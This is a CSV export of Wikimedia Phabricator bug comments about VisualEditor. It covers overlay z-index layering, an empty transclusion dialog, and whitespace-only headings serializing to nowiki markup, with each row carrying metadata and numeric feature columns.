233686,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),Marking as tech-debt and pulling from beta per discussion.,,,1371688878,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.166666666666667,1.0,Marking as tech-debt and pulling from beta per discussion.
233678,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),"The z-index isn't too high, the reason the overlays are on top of the save dialog is because they are in a further relative subtree of the DOM. Whether it is z-index -999, 0 or 100000 won't matter.

The actual issue described here is bug 49275.

The overlay using z-index is a separate issue that is otherwise harmless. I'd recommend we:
* Mark as invalid (z-index isn't a problem).
* or; Turn this into a technical debt ""clean up"" reminder to get rid of the z-index (they're no longer needed afaik, because we moved overlays to be a proper relative subtree overlay instead of siblings with higher z-index).
* or; Mark as duplicate of bug 49275.",,,1371688489,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,1.5,7.5,4.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,1.5,0.0,5.5,9.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,5.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,20.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,7.0,5.5,5.0,1.5,2.0,7.5,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.5,9.5,2.5,0.0,1.5,0.0,3.5,0.0,0.5,3.0,0.0,0.5,1.5,0.0,0.0,3.4068484258357676,0.6815968841285297,"The z-index isn't too high, the reason the overlays are on top of the save dialog is because they are in a further relative subtree of the DOM. Whether it is z-index -999, 0 or 100000 won't matter.

The actual issue described here is bug 49275.

The overlay using z-index is a separate issue that is otherwise harmless. I'd recommend we:
* Mark as invalid (z-index isn't a problem).
* or; Turn this into a technical debt ""clean up"" reminder to get rid of the z-index (they're no longer needed afaik, because we moved overlays to be a proper relative subtree overlay instead of siblings with higher z-index).
* or; Mark as duplicate of bug 49275."
233673,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),"(In reply to comment #0)
> Right now the z-index for .ve-ui-surface-overlay is set to 1000, which is way
> higher than pretty much anything else in MediaWiki. This makes it float above
> lots of things it shouldn't float above, like the header drop-down menu in
> the
> visual editor, the Echo notifications dropdown, etc. The z-index for the Echo
> notifications dropdown is 100 (so that it is higher than the close buttons in
> SiteNotices which are 99).

Yes, this was deliberate; you may recall the arms race with Echo where you kept breaking VE with your z-index changes for three weeks, hence this setting whilst we waited for Echo to stop changing. :-)

(In reply to comment #2)
> Created attachment 12545 [details]
> Blue overlay
> 
> Is this screenshot related to this bug or another effect/issue?

That's specifically bug 49275, but yes, that is related to this. The ""proper"" solution to this is putting the entire save dialog in its own iframe (like all the dialogs we've created since the new dialog system was built), but it's too close to deployment to do major changes like that.

**Attached**: {F11114}",,,1371422675,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,2,True,,,-3,,0.5,0.0,0.0,1.5,0.0,4.5,0.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,1.0,0.0,2.5,10.0,0.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.5,1.5,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,12.0,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.5,11.5,1.5,1.5,8.0,0.0,0.5,0.0,1.0,2.5,1.0,2.0,0.0,4.0,10.0,6.0,0.0,1.5,0.0,4.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,3.4423076923076925,0.6602564102564102,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, this was deliberate; you may recall the arms race with Echo where you kept breaking VE with your z-index changes for three weeks, hence this setting whilst we waited for Echo to stop changing. :-)

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

That's specifically bug 49275, but yes, that is related to this. The ""proper"" solution to this is putting the entire save dialog in its own iframe (like all the dialogs we've created since the new dialog system was built), but it's too close to deployment to do major changes like that.

**Attached**: {F11114}"
233664,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),"Created attachment 12545
Blue overlay

Is this screenshot related to this bug or another effect/issue?

**Attached**: {F11114}",,,1371294885,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7666666666666666,0.8333333333333334,"Created attachment 12545
Blue overlay

Is this screenshot related to this bug or another effect/issue?

**Attached**: {F11114}"
233657,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),"The VisualEditor's save dialog has a z-index of 3, so perhaps you'll want to use something like 2 for ve-ui-surface-overlay rather than 1000.",,,1371145548,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,2,False,,,-3,,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4,0.9142857142857143,"The VisualEditor's save dialog has a z-index of 3, so perhaps you'll want to use something like 2 for ve-ui-surface-overlay rather than 1000."
51491,VisualEditor: Transclusion dialog for objects without params should give you some clue as to what to do,"Screenshot

An example is https://www.mediawiki.org/wiki/Template:Extension_code_in_wiki which can be seen at https://www.mediawiki.org/wiki/Extension:Syntax_Highlighting

If opened in the inspector menu it displays pretty much nothing (screenshot attached) because there aren't any modifiable parameters. It comes off looking like it broke ;p.

It would be good if, instead of displaying the title, the inspector menu could display a slug that reads something like ""This template has no editable elements"".

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11046}",Medium,50.0,1371060180,1371437544.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-pq2jmdduyi27pmzdn6fs,task_description,resolved,True,c1,2,False,False,True,-3,,1.0,1.0,0.0,0.5,0.5,4.0,0.5,0.5,0.0,1.0,1.0,0.5,0.0,0.0,0.5,0.0,1.0,2.0,5.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,4.0,0.5,2.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,3.0,0.0,0.5,0.0,1.0,0.0,10.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,2.0,8.0,1.5,0.0,6.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.5,1.0,0.0,2.0,0.0,2.0,0.0,1.5,1.5,0.0,1.5,0.0,0.0,0.0,4.009433962264151,0.7830188679245282,"Screenshot

An example is URL which can be seen at URL

If opened in the inspector menu it displays pretty much nothing (screenshot attached) because there aren't any modifiable parameters. It comes off looking like it broke ;p.

It would be good if, instead of displaying the title, the inspector menu could display a slug that reads something like ""This template has no editable elements"".

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11046}"
232199,VisualEditor: Transclusion dialog for objects without params should give you some clue as to what to do,"This is already fixed in master, and will go out in wmf8; our apologies for it looking so denuded in that version!",,,1371437544,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pq2jmdduyi27pmzdn6fs,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,20.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.72,0.92,"This is already fixed in master, and will go out in wmf8; our apologies for it looking so denuded in that version!"
51452,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"When an editor tried to remove a heading, the following empty h3 tag seems to have been left behind:  <h3 data-parsoid='{""dsr"":[4514,4534,3,3]}'></h3>

Serializes to ===<nowiki/>=== and the user complained about it.

From the bug report: /mng/bugs/en.2013-06-10T16:41:02.032Z-Lightning_(software) on parsoid.wmflabs.org

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1370981700,1428879414.0,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-cdvhznmmt4p6jcin6skh,task_description,resolved,True,c1,2,True,False,False,-3,,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,7.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,7.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,2.0,4.469135802469136,0.691358024691358,"When an editor tried to remove a heading, the following empty h3 tag seems to have been left behind:  <h3 data-parsoid='{""dsr"":[4514,4534,3,3]}'></h3>

Serializes to ===<nowiki/>=== and the user complained about it.

From the bug report: /mng/bugs/en.2013-06-10T16:41:02.032Z-Lightning_(software) on parsoid.wmflabs.org

--------------------------
**Version**: unspecified
**Severity**: enhancement"
442609,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,These look like cached code issues. Closing absent further issues.,,,1428879414,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,True,,,92,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.75,0.8333333333333334,These look like cached code issues. Closing absent further issues.
437791,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"Found an other one, edit time is about 12 hours after the first example
https://fr.wikipedia.org/w/index.php?title=Nahhalin&diff=prev&oldid=113480458",,,1428038357,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,91,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,1.0,"Found an other one, edit time is about 12 hours after the first example
URL"
437631,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"I checked again on production - including checking on the exactly same section layout on which the bug was reported: 
{F108277}



",,,1428015629,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,True,,,91,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.269230769230769,0.8846153846153846,"I checked again on production - including checking on the exactly same section layout on which the bug was reported: 
{F108277}



"
437566,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"No other edits with `==<nowiki/>==` for the moment, I will send an other comment if I see one",,,1428007868,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,91,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,21.0,5.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,11.0,16.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.4210526315789473,0.8947368421052632,"No other edits with CODE for the moment, I will send an other comment if I see one"
437395,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,">>! In T51452#1174343, @NicoV wrote:
> It doesn't seem to be fixed in 1.25wmf23.
> Edit from 17 hours ago on frwiki (Version page reports 1.25wmf23) with the same kind of problems :
> https://fr.wikipedia.org/w/index.php?title=Tour_d%27Alg%C3%A9rie_1952&diff=prev&oldid=113472247

Yesterday's deployment happened late, so maybe this happened just before or just after the deployment and the user's browser was still running the old code? I tried to create an empty heading or a whitespace-only heading in VE on frwiki and I couldn't. Are there any other edits adding `==<nowiki/>==` that are more recent?",,,1427995437,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,91,,1.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,3.0,0.0,13.0,6.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,13.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,14.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,6.0,6.0,3.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,4.0,1.0,0.0,0.0,4.0,0.7746478873239436,"QUOTE
QUOTE
QUOTE
QUOTE

Yesterday's deployment happened late, so maybe this happened just before or just after the deployment and the user's browser was still running the old code? I tried to create an empty heading or a whitespace-only heading in VE on frwiki and I couldn't. Are there any other edits adding CODE that are more recent?"
437341,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"It doesn't seem to be fixed in 1.25wmf23.
Edit from 17 hours ago on frwiki (Version page reports 1.25wmf23) with the same kind of problems :
https://fr.wikipedia.org/w/index.php?title=Tour_d%27Alg%C3%A9rie_1952&diff=prev&oldid=113472247",,,1427990524,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,91,,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,3.0,18.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.9393939393939394,"It doesn't seem to be fixed in 1.25wmf23.
Edit from 17 hours ago on frwiki (Version page reports 1.25wmf23) with the same kind of problems :
URL"
431381,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"Deleting headings is clean now

Beta {F103264}
vs
current production(wmf22)
{F103266}",,,1427153835,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,True,,,90,,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.95,0.8,"Deleting headings is clean now

Beta {F103264}
vs
current production(wmf22)
{F103266}"
430149,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"Change 162310 merged by jenkins-bot:
For empty / whitespace-only headings, output <p> instead of <h#>

[[https://gerrit.wikimedia.org/r/162310]]",,,1426893388,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,89,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,3.1515151515151514,0.8484848484848485,"Change 162310 merged by jenkins-bot:
For empty / whitespace-only headings, output <p> instead of <h#>

[[GERRIT_URL]]"
412857,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"Change 162310 had a related patch set uploaded (by Jforrester):
MWHeading: Don't put self in output if contents are blank or whitespace

[[https://gerrit.wikimedia.org/r/162310]]

#patch-for-review",,,1424197333,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,85,,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,3.75,0.875,"Change 162310 had a related patch set uploaded (by Jforrester):
MWHeading: Don't put self in output if contents are blank or whitespace

[[GERRIT_URL]]

#patch-for-review"
229854,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,*** Bug 70368 has been marked as a duplicate of this bug. ***,,,1415886608,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 70368 has been marked as a duplicate of this bug. ***
229850,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"Change 162310 had a related patch set uploaded by Jforrester:
MWHeading: Don't put self in output if contents are blank or whitespace

https://gerrit.wikimedia.org/r/162310",,,1412538863,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.464285714285714,0.9642857142857143,"Change 162310 had a related patch set uploaded by Jforrester:
MWHeading: Don't put self in output if contents are blank or whitespace

GERRIT_URL"
229843,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,/mnt/bugs/2013-06-10T13:57:10.670Z-%25E8%25A5%25BF%25E7%2593%259C%25E6%25B3%25A2 (chinese wikipedia) has an empty heading tag left behind as well (probably inserted when the user added a heading and then deleted it).,,,1370983752,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,5.514285714285714,0.8857142857142857,/mnt/bugs/2013-06-10T13:57:10.670Z-%25E8%25A5%25BF%25E7%2593%259C%25E6%25B3%25A2 (chinese wikipedia) has an empty heading tag left behind as well (probably inserted when the user added a heading and then deleted it).
229837,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"/mnt/bugs/2013-06-09T22%3A08%3A31.223Z-Sapo-comum (ptwiki) reports an empty heading left behind ""== =="" when the user actually meant to delete it (and I presume thought it gone after the non-whitespace text was deleted).",,,1370982732,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,6.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,2.0,4.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,4.0,6.0,0.0,4.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7450980392156863,0.7647058823529411,"/mnt/bugs/2013-06-09T22%3A08%3A31.223Z-Sapo-comum (ptwiki) reports an empty heading left behind ""== =="" when the user actually meant to delete it (and I presume thought it gone after the non-whitespace text was deleted)."
